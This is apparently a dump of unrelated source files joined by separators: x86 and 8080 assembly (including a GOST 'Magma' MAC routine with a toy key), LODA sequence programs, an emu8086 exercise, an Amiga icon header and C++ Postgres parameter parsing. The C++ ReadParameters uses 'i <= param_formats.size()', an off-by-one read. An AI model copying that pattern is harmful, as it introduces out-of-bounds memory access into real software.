.cfi_def_cfa 4, 4
ret
.cfi_endproc
.LFE0:
.size second_func, .-second_func
.section .rodata
.LC0:
.string "Hello, World!"
.text
.type first_func, @function
first_func:
.LFB1:
.cfi_startproc
push ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
mov ebp, esp
.cfi_def_cfa_register 5
push ebx
sub esp, 20
.cfi_offset 3, -12
call __x86.get_pc_thunk.ax
add eax, OFFSET FLAT:_GLOBAL_OFFSET_TABLE_
mov DWORD PTR -12[ebp], 3
sub esp, 12
lea edx, .LC0@GOTOFF[eax]
push edx
mov ebx, eax
call puts@PLT
add esp, 16
sub esp, 8
push DWORD PTR -12[ebp]
lea eax, 8[ebp]
push eax
call second_func
add esp, 16
mov eax, DWORD PTR 8[ebp]
mov ebx, DWORD PTR -4[ebp]
leave
.cfi_restore 5
.cfi_restore 3
.cfi_def_cfa 4, 4
ret
.cfi_endproc
.LFE1:
.size first_func, .-first_func
.section .rodata
.LC1:
.string "Value returned is: %d\n"
.text
.globl main
.type main, @function
main:
.LFB2:
.cfi_startproc
lea ecx, 4[esp]
.cfi_def_cfa 1, 0
and esp, -16
push DWORD PTR -4[ecx]
push ebp
.cfi_escape 0x10,0x5,0x2,0x75,0
mov ebp, esp
push ebx
push ecx
.cfi_escape 0xf,0x3,0x75,0x78,0x6
.cfi_escape 0x10,0x3,0x2,0x75,0x7c
call __x86.get_pc_thunk.bx
add ebx, OFFSET FLAT:_GLOBAL_OFFSET_TABLE_
sub esp, 12
push 15
call first_func
add esp, 16
sub esp, 8
push eax
lea eax, .LC1@GOTOFF[ebx]
push eax
call printf@PLT
add esp, 16
mov eax, 0
lea esp, -8[ebp]
pop ecx
.cfi_restore 1
.cfi_def_cfa 1, 0
pop ebx
.cfi_restore 3
pop ebp
.cfi_restore 5
lea esp, -4[ecx]
.cfi_def_cfa 4, 4
ret
.cfi_endproc
.LFE2:
.size main, .-main
.section .text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
.globl __x86.get_pc_thunk.ax
.hidden __x86.get_pc_thunk.ax
.type __x86.get_pc_thunk.ax, @function
__x86.get_pc_thunk.ax:
.LFB3:
.cfi_startproc
mov eax, DWORD PTR [esp]
ret
.cfi_endproc
.LFE3:
.section .text.__x86.get_pc_thunk.bx,"axG",@progbits,__x86.get_pc_thunk.bx,comdat
.globl __x86.get_pc_thunk.bx
.hidden __x86.get_pc_thunk.bx
.type __x86.get_pc_thunk.bx, @function
__x86.get_pc_thunk.bx:
.LFB4:
.cfi_startproc
mov ebx, DWORD PTR [esp]
ret
.cfi_endproc
.LFE4:
.ident "GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0"
.section .note.GNU-stack,"",@progbits
|
; A285977: Positions of 1 in A285975; complement of A285976.
; 2,3,5,7,8,10,12,13,15,17,19,20,22,23,25,27,28,30,32,33,35,36,38,40,42,43,45,47,48,50,52,53,55,57,59,60,62,63,65,67,69,70,72,74,75,77,79,80,82,83,85,87,88,90,92,93,95,97,99,100,102,103,105,107,108,110,112,113,115,116,118,120,122,123,125,127,128,130,132,133,135,136,138,140,141,143,145,146,148,150,152,153,155,156,158,160,162,163,165,167,168,170,172,173,175,177,179,180,182,183,185,187,188,190,192,193,195,196,198,200,202,203,205,207,208,210,212,213,215,217,219,220,222,223,225,227,229,230,232,234,235,237,239,240,242,243,245,247,248,250,252,253,255,257,259,260,262,263,265,267,269,270,272,274,275,277,279,280,282,284,286,287,289,290,292,294,295,297,299,300,302,303,305,307,309,310,312,314,315,317,319,320,322,323,325,327,328,330,332,333,335,337,339,340,342,343,345,347,348,350,352,353,355,356,358,360,362,363,365,367,368,370,372,373,375,377,379,380,382,383,385,387,389,390,392,394,395,397,399,400,402,403,405,407,408,410,412,413,415,417
mov $8,$0
add $8,1
lpb $8
sub $8,1
sub $0,$8
mov $9,$0
mov $11,2
lpb $11
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mul $0,8
add $0,1
mov $3,7
mov $6,1
lpb $0
mov $2,2
sub $2,$0
sub $2,1
add $3,$0
mov $5,$2
sub $5,$6
mov $0,$5
div $0,2
mov $4,2
lpe
mov $0,$4
div $0,$4
mul $0,3
sub $0,4
mov $7,$3
div $7,$4
sub $7,$4
add $7,1
mov $2,$7
mov $12,$11
lpb $12
mov $10,$2
sub $12,1
lpe
lpe
lpb $9
mov $9,0
sub $10,$2
lpe
mov $2,$10
sub $2,1
add $1,$2
lpe
|
SECTION .text
GLOBAL test
test:
shl r10, 0x1
shl r10, 0x12
shl r10, 0x14
shl r10, 0x15
shl r10, 0x1b
shl r10, 0x1c
shl r10, 0x2
shl r10, 0x24
shl r10, 0x27
shl r10, 0x29
shl r10, 0x2b
shl r10, 0x2d
shl r10, 0x3
shl r10, 0x37
shl r10, 0x3d
shl r10, 0x6
shl r10, 0x8
shl r10, 0xa
shl r10, 0xe
shl r11, 0x1
shl r11, 0x12
shl r11, 0x14
shl r11, 0x15
shl r11, 0x19
shl r11, 0x1b
shl r11, 0x1c
shl r11, 0x2
shl r11, 0x24
shl r11, 0x27
shl r11, 0x29
shl r11, 0x2b
shl r11, 0x2c
shl r11, 0x2d
shl r11, 0x3
shl r11, 0x37
shl r11, 0x3e
shl r11, 0x6
shl r11, 0x8
shl r11, 0xa
shl r11, 0xf
shl r12, 0x1
shl r12, 0x12
shl r12, 0x14
shl r12, 0x15
shl r12, 0x19
shl r12, 0x1b
shl r12, 0x1c
shl r12, 0x29
shl r12, 0x3
shl r12, 0x3d
shl r12, 0x3e
shl r12, 0x6
shl r12, 0x8
shl r12, 0xe
shl r12, 0xf
shl r13, 0x1
shl r13, 0x12
shl r13, 0x14
shl r13, 0x19
shl r13, 0x1b
shl r13, 0x2
shl r13, 0x24
shl r13, 0x27
shl r13, 0x29
shl r13, 0x2b
shl r13, 0x2c
shl r13, 0x2d
shl r13, 0x37
shl r13, 0x38
shl r13, 0x3d
shl r13, 0x3e
shl r13, 0x6
shl r13, 0x8
shl r13, 0xa
shl r13, 0xe
shl r13, 0xf
shl r14, 0x1
shl r14, 0x12
shl r14, 0x14
shl r14, 0x15
shl r14, 0x19
shl r14, 0x1b
shl r14, 0x1c
shl r14, 0x2
shl r14, 0x24
shl r14, 0x27
shl r14, 0x29
shl r14, 0x2b
shl r14, 0x2c
shl r14, 0x2d
shl r14, 0x3
shl r14, 0x37
shl r14, 0x38
shl r14, 0x3e
shl r14, 0x8
shl r14, 0xa
shl r14, 0xe
shl r15, 0x1
shl r15, 0x12
shl r15, 0x14
shl r15, 0x15
shl r15, 0x1b
shl r15, 0x1c
shl r15, 0x2
shl r15, 0x24
shl r15, 0x27
shl r15, 0x2b
shl r15, 0x2c
shl r15, 0x3
shl r15, 0x37
shl r15, 0x38
shl r15, 0x3d
shl r15, 0x6
shl r15, 0xa
shl r15, 0xe
shl r15, 0xf
shl r8, 0x1
shl r8, 0x14
shl r8, 0x15
shl r8, 0x19
shl r8, 0x1b
shl r8, 0x1c
shl r8, 0x2
shl r8, 0x24
shl r8, 0x27
shl r8, 0x29
shl r8, 0x2b
shl r8, 0x2c
shl r8, 0x3
shl r8, 0x37
shl r8, 0x38
shl r8, 0x3d
shl r8, 0x3e
shl r8, 0x6
shl r8, 0x8
shl r8, 0xa
shl r8, 0xe
shl r8, 0xf
shl r9, 0x1
shl r9, 0x12
shl r9, 0x14
shl r9, 0x15
shl r9, 0x19
shl r9, 0x1b
shl r9, 0x1c
shl r9, 0x2
shl r9, 0x27
shl r9, 0x29
shl r9, 0x2b
shl r9, 0x2c
shl r9, 0x3
shl r9, 0x37
shl r9, 0x38
shl r9, 0x3d
shl r9, 0x3e
shl r9, 0x6
shl r9, 0xa
shl r9, 0xe
shl r9, 0xf
shl rax, 0x1
shl rax, 0x12
shl rax, 0x14
shl rax, 0x15
shl rax, 0x19
shl rax, 0x1b
shl rax, 0x1c
shl rax, 0x24
shl rax, 0x27
shl rax, 0x29
shl rax, 0x2b
shl rax, 0x2c
shl rax, 0x2d
shl rax, 0x3
shl rax, 0x37
shl rax, 0x38
shl rax, 0x3d
shl rax, 0x3e
shl rax, 0x6
shl rax, 0x8
shl rax, 0xa
shl rax, 0xe
shl rax, 0xf
shl rbp, 0x1
shl rbp, 0x12
shl rbp, 0x14
shl rbp, 0x15
shl rbp, 0x19
shl rbp, 0x1c
shl rbp, 0x2
shl rbp, 0x24
shl rbp, 0x27
shl rbp, 0x2b
shl rbp, 0x2c
shl rbp, 0x2d
shl rbp, 0x3
shl rbp, 0x37
shl rbp, 0x38
shl rbp, 0x3d
shl rbp, 0x3e
shl rbp, 0x6
shl rbp, 0x8
shl rbp, 0xa
shl rbp, 0xe
shl rbp, 0xf
shl rbx, 0x1
shl rbx, 0x14
shl rbx, 0x15
shl rbx, 0x1b
shl rbx, 0x1c
shl rbx, 0x2
shl rbx, 0x24
shl rbx, 0x27
shl rbx, 0x29
shl rbx, 0x2b
shl rbx, 0x2c
shl rbx, 0x2d
shl rbx, 0x3
shl rbx, 0x37
shl rbx, 0x38
shl rbx, 0x3e
shl rbx, 0x6
shl rbx, 0x8
shl rbx, 0xe
shl rbx, 0xf
shl rcx, 0x1
shl rcx, 0x12
shl rcx, 0x19
shl rcx, 0x1b
shl rcx, 0x1c
shl rcx, 0x2
shl rcx, 0x24
shl rcx, 0x27
shl rcx, 0x29
shl rcx, 0x2b
shl rcx, 0x2c
shl rcx, 0x3
shl rcx, 0x38
shl rcx, 0x3d
shl rcx, 0x3e
shl rcx, 0x6
shl rcx, 0xa
shl rcx, 0xf
shl rdi, 0x1
shl rdi, 0x12
shl rdi, 0x14
shl rdi, 0x19
shl rdi, 0x1b
shl rdi, 0x1c
shl rdi, 0x2
shl rdi, 0x24
shl rdi, 0x27
shl rdi, 0x29
shl rdi, 0x2c
shl rdi, 0x2d
shl rdi, 0x3
shl rdi, 0x37
shl rdi, 0x38
shl rdi, 0x3d
shl rdi, 0x3e
shl rdi, 0x6
shl rdi, 0x8
shl rdi, 0xa
shl rdi, 0xf
shl rdx, 0x1
shl rdx, 0x12
shl rdx, 0x14
shl rdx, 0x19
shl rdx, 0x1c
shl rdx, 0x2
shl rdx, 0x24
shl rdx, 0x27
shl rdx, 0x29
shl rdx, 0x2b
shl rdx, 0x2d
shl rdx, 0x3
shl rdx, 0x37
shl rdx, 0x38
shl rdx, 0x3d
shl rdx, 0x3e
shl rdx, 0x6
shl rdx, 0x8
shl rdx, 0xa
shl rdx, 0xf
shl rsi, 0x1
shl rsi, 0x12
shl rsi, 0x15
shl rsi, 0x19
shl rsi, 0x1b
shl rsi, 0x1c
shl rsi, 0x24
shl rsi, 0x27
shl rsi, 0x29
shl rsi, 0x2b
shl rsi, 0x2c
shl rsi, 0x2d
shl rsi, 0x37
shl rsi, 0x38
shl rsi, 0x3d
shl rsi, 0x3e
shl rsi, 0x6
shl rsi, 0x8
shl rsi, 0xa
shl rsi, 0xe
shl rsi, 0xf
|
; A267729: Number of n X 2 0..1 arrays with every repeated value in every row and column greater than or equal to the previous repeated value.
; 4,16,64,225,784,2601,8464,26896,84100,259081,788544,2374681,7086244,20976400,61653904,180069561,522945424,1510954641,4345446400,12444741136,35502850084,100926300721,285976813824,807886380625,2275928269924,6395011514896,17925672112384,50133749309361,139916251104400,389714148310041,1083467532580624,3006938201829136,8331345051544804
add $0,2
cal $0,29907 ; a(n+1) = a(n) + a(n-1) + Fibonacci(n).
mul $0,6
pow $0,2
mov $1,$0
sub $1,144
div $1,36
add $1,4
|
Dakutens:
db "かが", "きぎ", "くぐ", "けげ", "こご"
db "さざ", "しじ", "すず", "せぜ", "そぞ"
db "ただ", "ちぢ", "つづ", "てで", "とど"
db "はば", "ひび", "ふぶ", "へべ", "ほぼ"
db "カガ", "キギ", "クグ", "ケゲ", "コゴ"
db "サザ", "シジ", "スズ", "セゼ", "ソゾ"
db "タダ", "チヂ", "ツヅ", "テデ", "トド"
db "ハバ", "ヒビ", "フブ", "へべ", "ホボ"
db -1 ; end
Handakutens:
db "はぱ", "ひぴ", "ふぷ", "へぺ", "ほぽ"
db "ハパ", "ヒピ", "フプ", "へぺ", "ホポ"
db -1 ; end
|
; A336102: Number of inseparable multisets of size n covering an initial interval of positive integers.
; 0,0,1,1,3,3,8,8,20,20,48,48,112,112,256,256,576,576,1280,1280,2816,2816,6144,6144,13312,13312,28672,28672,61440,61440,131072,131072,278528,278528,589824,589824,1245184,1245184,2621440,2621440,5505024,5505024,11534336,11534336,24117248,24117248,50331648,50331648,104857600,104857600,218103808,218103808,452984832,452984832,939524096,939524096,1946157056,1946157056,4026531840,4026531840,8321499136,8321499136,17179869184,17179869184,35433480192,35433480192,73014444032,73014444032,150323855360,150323855360,309237645312,309237645312,635655159808,635655159808,1305670057984,1305670057984,2680059592704,2680059592704,5497558138880,5497558138880,11269994184704,11269994184704,23089744183296,23089744183296,47278999994368,47278999994368,96757023244288,96757023244288,197912092999680,197912092999680,404620279021568,404620279021568,826832744087552,826832744087552,1688849860263936,1688849860263936,3448068464705536,3448068464705536,7036874417766400,7036874417766400
mov $2,$0
mov $0,1
div $2,2
add $0,$2
seq $0,49610 ; a(n) = Sum_{k=0..floor(n/2)} k*binomial(n,2*k) = floor(n*2^(n-3)).
|
; KR580VM80A (i8080A) assembly code
; /-----------------------------------------------\
; | ГОСТ 28147-89 "Магма" | GOST 28147-89 "Magma" |
; | | |
; |Режим выр. имитовставки| MAC mode |
; | | |
; | Реализация алгоритма | Algorithm implement. |
; | для процессора | for processor |
; | КР580ВМ80А | Intel 8080A |
; | | |
; | Магма-Имито | Magma-Imito |
; | Универсал | Universal |
; \-----------------------------------------------/
org 0
;----------------------------------------------------
; Изменяемые параметры | Changeable parameters
;----------------------------------------------------
lxi de, text ; Адрес начала текста | Text start address
lxi hl, 128 ; Количество блоков для обработки (8 б) | Number of blocks to process (8 b)
;----------------------------------------------------
; ********************************************
;----------------------------------------------------
push hl
lxi hl, imito
mvi b, 8
imrst: ; Очистка зоны имитовставки | Clearing the Message Authentication Code area
xra a
mov m, a
inx hl
dcr b
jnz imrst
;----------------------------------------------------
start: ; Запуск алгоритма | Running the algorithm
lxi hl, imito
mvi c, 8
call 2addf
lxi bc, 0111h
mvi a, 1
push de
push bc
;--------------------------
drtobf: ; Перенос правого блока в буфер | Move the right block to the buffer
lxi hl, buf
lxi de, imito+4
mvi c, 4
mov b, a
drloop:
ldax de
inx de
mov m, a
inx hl
dcr c
jnz drloop
mov a, b
;---------------------------
mainlp:
push psw
;----------------------------------------------------
gikey: ; Получение адреса итерационного ключа | Getting the address of the iteration key
lxi hl, key+3
grnum:
cpi 9
jc gnadr
sui 8
jmp grnum
gnadr:
dcr a
jz 32add
lxi bc, 4
galoop:
dad bc
dcr a
jnz galoop
;--------------------------
32add: ; Cложение по модулю 32 | Addition by mod 32
xchg
lxi hl, buf+3
mvi c, 4
ora a
push psw
32loop:
pop psw
ldax de
dcx de
adc m
mov m, a
dcx hl
push psw
dcr c
jnz 32loop
pop psw
;--------------------------
tchg: ; T-преобразование | T-transform
lxi de, buf
mvi c, 4
tcloop:
ldax de
ani 00001111b
lxi hl, pitab+10h
call findvt
mov b, a
ldax de
rrc
rrc
rrc
rrc
ani 00001111b
lxi hl, pitab
call findvt
rlc
rlc
rlc
rlc
ora b
stax de
inx de
dcr c
jnz tcloop
;--------------------------
11left: ; Цикличный сдвиг битов на 11 позиций влево | Cyclic bit shift 11 positions to the left
lxi hl, buf+3
lda buf
mvi c, 3
mov b, m
8yloop:
dcx hl
mov d, m
mov m, b
mov b, d
dcr c
jnz 8yloop
lxi hl, buf+3
mov m, a
lxi de, 4
lxi bc, 0403h
3bloop:
ora a
push psw
3bilop:
pop psw
mov a, m
ral
mov m, a
push psw
dcx hl
dcr b
jnz 3bilop
dad de
pop psw
jnc skipcr
mov a, m
ori 1
mov m, a
skipcr:
mvi b, 4
dcr c
jnz 3bloop
;--------------------------
2add: ; Сложение по модулю 2 (XOR) | Addition by mod 2 (XOR)
lxi hl, buf
lxi de, imito
mvi c, 4
call 2addf
;----------------------------------------------------
call swap
pop psw
pop bc
add b
cmp c
push bc
jnz mainlp
pop bc
pop de
pop hl
dcx hl
push hl
xra a
cmp h
jnz start
cmp l
jnz start
hlt ; Конец программы | End of the program
;----------------------------------------------------
2addf: ; Функция сложения по модулю 2 (XOR) | Addition by mod 2 (XOR) function
ldax de
inx de
xra m
mov m, a
inx hl
dcr c
jnz 2addf
ret
;--------------------------
swap: ; Перенос блоков | Swapping blocks
lxi hl, imito
lxi de, imito+4
mvi c, 4
call doswap
lxi hl, imito+4
lxi de, buf
mvi c, 4
doswap:
mov b, a
swaplp:
ldax de
inx de
mov m, a
inx hl
dcr c
jnz swaplp
mov a, b
ret
;--------------------------
findvt: ; Преобразование 2D координаты таблицы в 1D адрес | Convert 2D table coordinate to 1D address
push bc
push de
cpi 0
cnz fdloph
lxi de, 10h
mvi a, 4
sub c
jz fdend
add a
fdlopw:
dad de
dcr a
jnz fdlopw
fdend:
mov a, m
pop de
pop bc
ret
fdloph:
mvi d, 0
mov e, a
dad de
ret
;----------------------------------------------------
buf: ; Буфер | Buffer
db 0, 0, 0, 0
pitab: ; Таблица перестановок (S-блоки) | Permutation table (S-blocks)
db 1, 7, 14, 13, 0, 5, 8, 3, 4, 15, 10, 6, 9, 12, 11, 2
db 8, 14, 2, 5, 6, 9, 1, 12, 15, 4, 11, 0, 13, 10, 3, 7
db 5, 13, 15, 6, 9, 2, 12, 10, 11, 7, 8, 1, 4, 3, 14, 0
db 7, 15, 5, 10, 8, 1, 6, 13, 0, 9, 3, 14, 11, 4, 2, 12
db 12, 8, 2, 1, 13, 4, 15, 6, 7, 0, 10, 5, 3, 14, 9, 11
db 11, 3, 5, 8, 2, 15, 10, 13, 14, 1, 7, 4, 12, 9, 6, 0
db 6, 8, 2, 3, 9, 10, 5, 12, 1, 14, 4, 7, 11, 13, 0, 15
db 12, 4, 6, 2, 10, 5, 11, 9, 14, 8, 13, 7, 0, 3, 15, 1
key: ; Ключ для шифрования | Encryption key
db 1h, 2h, 3h, 4h, 5h, 6h, 7h, 8h, 9h, 10h, 11h, 12h
db 13h, 14h, 15h, 16h, 17h, 18h, 19h, 20h, 21h, 22h
db 23h, 24h, 25h, 26h, 27h, 28h, 29h, 30h, 31h, 32h
imito: ; Имитовставка | Message Authentication Code
db 0, 0, 0, 0, 0, 0, 0, 0
;----------------------------------------------------
text: ; Шифруемый/дешифруемый текст | Text for encryption/decryption
db 'lobortis id euismod in, elementum vitae elit. Duis id ipsum ac turpis porta consequat. Vestibulum eget odio non nisl posuere placerat eget ut leo. Donec convallis aliquet varius. Proin eu faucibus magna, vel sodales magna. Maecenas euismod, felis vel hendrerit vehicula, dolor urna posuere quam, eu auctor metus ante sit amet dolor. Sed eget lectus felis. Cras congue dignissim vestibulum. Nullam sed odio nibh. Phasellus in est enim. Praesent dui ex, placerat vitae nibh non, rutrum efficitur orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque tellus diam, gravida quis mi sed, luctus aliquam neque. Praesent lacinia suscipit sapien, eu malesuada nunc ullamcorper eu. Aenean ac risus ornare purus feugiat pulvinar. Suspendisse ac ipsum nulla. Morbi lacinia elit quis leo mattis, a vestibulum turpis efficitur. Maecenas sed felis congue, varius metus id tortor. Praesent lacinia suscipit sapien, eu malesuada nunc ullamcorper eu. Aenean ac risus ornare purus feugiat pulvinar. Morbi lacinia elit qu.' |
; You may customize this and other start-up templates;
; The location of this template is c:\emu8086\inc\0_com_template.txt
org 100h
;hax to desimal
mov ax,900h
mov ds,ax
mov si,10
mov di,15
mov [2],'1'
mov [4],'2'
mov [6],'3'
mov [8],'4'
mov [10],'5'
mov [12],'6'
mov [14],'7'
mov [16],'8'
mov [18],'9'
mov [20],'10'
mov [22],'11'
mov [24],'12'
mov [26],'13'
mov [28],'14'
mov [30],'15'
mov ah,2
mov bl,0Ah ;hex vlue here
anotherDigit:
mov si,0
mov cx,0
rep_inner:
shl si,1 ;left shift
test bl,10000000b ; checking if the first bit is zerro or not
;if first bit bf bl is 1 then zflag is 0
jz cu
add si,1b
cu:
shl bl,1 ; left shif
inc cx ;increment counter to check if we iter 4bit
cmp cx,4
jl rep_inner
shl si,1 ; left shift to [ si=si*2]
cmp si,20
jge a
jmp lastBitChecker
a:
mov dl,[si][1]
int 21h;
lastBitChecker:
mov dl,[si]
int 21h
test bl,bl
jnz anotherDigit
hlt
ret
|
; A134309: Triangle read by rows, where row n consists of n zeros followed by 2^(n-1).
; 1,0,1,0,0,2,0,0,0,4,0,0,0,0,8,0,0,0,0,0,16,0,0,0,0,0,0,32,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,128,0,0,0,0,0,0,0,0,0,256,0,0,0,0,0,0,0,0,0,0,512,0,0,0,0,0,0,0,0,0,0,0,1024,0,0,0,0,0,0,0,0,0,0,0,0,2048,0,0,0,0,0,0,0
mov $4,$0
mov $8,2
lpb $8
sub $8,1
add $0,$8
sub $0,1
mov $2,1
mov $3,1
mov $5,1
mov $6,$0
mov $9,1
lpb $2
add $6,1
lpb $6
mul $5,2
add $9,$3
trn $6,$9
lpe
sub $2,1
lpe
mov $7,$8
mov $9,$5
lpb $7
mov $1,$9
sub $7,1
lpe
lpe
lpb $4
sub $1,$9
mov $4,0
lpe
div $1,2
|
; A244726: 6*n^3.
; 0,6,48,162,384,750,1296,2058,3072,4374,6000,7986,10368,13182,16464,20250,24576,29478,34992,41154,48000,55566,63888,73002,82944,93750,105456,118098,131712,146334,162000,178746,196608,215622,235824,257250,279936,303918,329232,355914,384000,413526,444528,477042,511104,546750,584016,622938,663552,705894,750000,795906,843648,893262,944784,998250,1053696,1111158,1170672,1232274,1296000,1361886,1429968,1500282,1572864,1647750,1724976,1804578,1886592,1971054,2058000,2147466,2239488,2334102,2431344,2531250,2633856,2739198,2847312,2958234,3072000,3188646,3308208,3430722,3556224,3684750,3816336,3951018,4088832,4229814,4374000,4521426,4672128,4826142,4983504,5144250,5308416,5476038,5647152,5821794
pow $0,3
mul $0,6
|
#include "network/postgres/postgres_packet_util.h"
#include <string>
#include <vector>
#include "execution/sql/value.h"
#include "execution/sql/value_util.h"
#include "execution/util/execution_common.h"
#include "network/network_io_utils.h"
#include "network/postgres/postgres_defs.h"
#include "network/postgres/postgres_protocol_util.h"
#include "parser/expression/constant_value_expression.h"
#include "type/type_id.h"
namespace terrier::network {
std::vector<FieldFormat> PostgresPacketUtil::ReadFormatCodes(const common::ManagedPointer<ReadBufferView> read_buffer) {
const auto num_formats = read_buffer->ReadValue<int16_t>();
if (num_formats == 0) {
return {FieldFormat::text};
}
std::vector<FieldFormat> formats;
formats.reserve(num_formats);
for (uint16_t i = 0; i < num_formats; i++) {
formats.emplace_back(static_cast<FieldFormat>(read_buffer->ReadValue<int16_t>()));
}
return formats;
}
std::vector<type::TypeId> PostgresPacketUtil::ReadParamTypes(const common::ManagedPointer<ReadBufferView> read_buffer) {
const auto num_params = read_buffer->ReadValue<int16_t>();
std::vector<type::TypeId> param_types;
param_types.reserve(num_params);
for (uint16_t i = 0; i < num_params; i++) {
param_types.emplace_back(
PostgresProtocolUtil::PostgresValueTypeToInternalValueType(read_buffer->ReadValue<PostgresValueType>()));
}
return param_types;
}
parser::ConstantValueExpression PostgresPacketUtil::TextValueToInternalValue(
const common::ManagedPointer<ReadBufferView> read_buffer, const int32_t size, const type::TypeId type) {
if (size == -1) {
// it's a NULL
return {type, execution::sql::Val(true)};
}
const auto string = read_buffer->ReadString(size);
switch (type) {
case type::TypeId::BOOLEAN: {
// Matt: as best as I can tell, we only expect 'TRUE' of 'FALSE' coming in here, rather than the 't' or 'f' that
// results use. We can simplify this logic a bit if that assumption can be verified
if (string == "TRUE") return {type, execution::sql::BoolVal(true)};
TERRIER_ASSERT(string == "FALSE", "Input equals something other than TRUE or FALSE. We should check that.");
return {type, execution::sql::BoolVal(false)};
}
case type::TypeId::TINYINT:
return {type, execution::sql::Integer(static_cast<int8_t>(std::stoll(string)))};
case type::TypeId::SMALLINT:
return {type, execution::sql::Integer(static_cast<int16_t>(std::stoll(string)))};
case type::TypeId::INTEGER:
return {type, execution::sql::Integer(static_cast<int32_t>(std::stoll(string)))};
case type::TypeId::BIGINT:
return {type, execution::sql::Integer(static_cast<int64_t>(std::stoll(string)))};
case type::TypeId::DECIMAL:
return {type, execution::sql::Real(std::stod(string))};
case type::TypeId::VARCHAR: {
auto string_val = execution::sql::ValueUtil::CreateStringVal(string);
return {type, string_val.first, std::move(string_val.second)};
}
case type::TypeId::TIMESTAMP: {
const auto parse_result = execution::sql::Timestamp::FromString(string);
return {type, execution::sql::TimestampVal(parse_result)};
}
case type::TypeId::DATE: {
const auto parse_result = execution::sql::Date::FromString(string);
return {type, execution::sql::DateVal(parse_result)};
}
case type::TypeId::INVALID: {
// Postgres may not have told us the type in Parse message. Right now in oltpbench the JDBC driver is doing this
// with timestamps on inserting into the Customer table. Let's just try to parse it and fall back to VARCHAR?
try {
const auto ts_parse_result = execution::sql::Timestamp::FromString(string);
return {type::TypeId::TIMESTAMP, execution::sql::TimestampVal(ts_parse_result)};
} catch (...) {
}
// try date?
try {
const auto date_parse_result = execution::sql::Date::FromString(string);
return {type::TypeId::DATE, execution::sql::DateVal(date_parse_result)};
} catch (...) {
}
// fall back to VARCHAR?
auto string_val = execution::sql::ValueUtil::CreateStringVal(string);
return {type::TypeId::VARCHAR, string_val.first, std::move(string_val.second)};
}
default:
// TODO(Matt): Note that not all types are handled yet. Add them as we support them.
UNREACHABLE("Unsupported type for parameter.");
}
}
parser::ConstantValueExpression PostgresPacketUtil::BinaryValueToInternalValue(
const common::ManagedPointer<ReadBufferView> read_buffer, const int32_t size, const type::TypeId type) {
if (size == -1) {
// it's a NULL
return {type, execution::sql::Val(true)};
}
switch (type) {
case type::TypeId::TINYINT: {
TERRIER_ASSERT(size == 1, "Unexpected size for this type.");
return {type, execution::sql::Integer(read_buffer->ReadValue<int8_t>())};
}
case type::TypeId::SMALLINT: {
TERRIER_ASSERT(size == 2, "Unexpected size for this type.");
return {type, execution::sql::Integer(read_buffer->ReadValue<int16_t>())};
}
case type::TypeId::INTEGER: {
TERRIER_ASSERT(size == 4, "Unexpected size for this type.");
return {type, execution::sql::Integer(read_buffer->ReadValue<int32_t>())};
}
case type::TypeId::BIGINT: {
TERRIER_ASSERT(size == 8, "Unexpected size for this type.");
return {type, execution::sql::Integer(read_buffer->ReadValue<int64_t>())};
}
case type::TypeId::DECIMAL: {
TERRIER_ASSERT(size == 8, "Unexpected size for this type.");
return {type, execution::sql::Real(read_buffer->ReadValue<double>())};
}
case type::TypeId::DATE: {
// TODO(Matt): unsure if this is correct. Need tests.
return {type, execution::sql::DateVal(static_cast<uint32_t>(read_buffer->ReadValue<int32_t>()))};
}
default:
// (Matt): from looking at jdbc source code, that seems like all the possible binary types
UNREACHABLE("Unsupported type for parameter.");
}
}
std::vector<parser::ConstantValueExpression> PostgresPacketUtil::ReadParameters(
const common::ManagedPointer<ReadBufferView> read_buffer, const std::vector<type::TypeId> ¶m_types,
const std::vector<FieldFormat> ¶m_formats) {
const auto num_params = static_cast<size_t>(read_buffer->ReadValue<int16_t>());
TERRIER_ASSERT(num_params == param_types.size(),
"We don't support type inference on parameters yet, so the size of param_types should equal the "
"number of parameters.");
std::vector<parser::ConstantValueExpression> params;
params.reserve(num_params);
for (uint16_t i = 0; i < num_params; i++) {
const auto param_size = read_buffer->ReadValue<int32_t>();
const auto param_format = param_formats[i <= param_formats.size() ? i : 0];
params.emplace_back(param_format == FieldFormat::text
? TextValueToInternalValue(read_buffer, param_size, param_types[i])
: BinaryValueToInternalValue(read_buffer, param_size, param_types[i]));
}
return params;
}
} // namespace terrier::network
|
; A060510: Alternating with hexagonal stutters: if n is hexagonal (2k^2 - k, i.e., A000384) then a(n)=a(n-1), otherwise a(n) = 1 - a(n-1).
; Submitted by Christian Krause
; 0,0,1,0,1,0,0,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0
seq $0,25682 ; Exponent of 9 (value of j) in n-th number of form 8^i*9^j.
mod $0,2
|
include stdiolib.i
CGROUP group code
code segment dword 'CODE'
assume cs:CGROUP,ds:CGROUP
STDIOLIB_JUMP fflush siol_fflush
code ends
end
|
; vasmm68k_mot[_<HOST>] -Fbin -o icon_36_336/def_trashcan.info def_trashcan-icon_36_336.asm
;
; Default "ENV:def_trashcan.info" data included in "icon 36.336 (8.6.90)".
;
include deficon.inc
ifne DEFICON_MEM
align 1
endif
defIconTrashcan:
dc.w $E310 ; do_Magic = WB_DISKMAGIC
dc.w $0001 ; do_Version = WB_DISKVERSION
dc.l 0 ; do_Gadget+gg_NextGadget
dc.w 237,117 ; do_Gadget+gg_LeftEdge/gg_TopEdge
dc.w 51,31 ; do_Gadget+gg_Width/gg_Height
dc.w $0006 ; do_Gadget+gg_Flags =
; GFLG_GADGIMAGE
; GFLG_GADGHIMAGE
dc.w $0003 ; do_Gadget+gg_Activation =
; GACT_RELVERIFY
; GACT_IMMEDIATE
dc.w $0001 ; do_Gadget+gg_GadgetType =
; GTYP_BOOLGADGET
DEFICON_PTR .GadgetRender ; do_Gadget+gg_GadgetRender
DEFICON_PTR .SelectRender ; do_Gadget+gg_SelectRender
dc.l 0 ; do_Gadget+gg_GadgetText
dc.l 0 ; do_Gadget+gg_MutualExclude
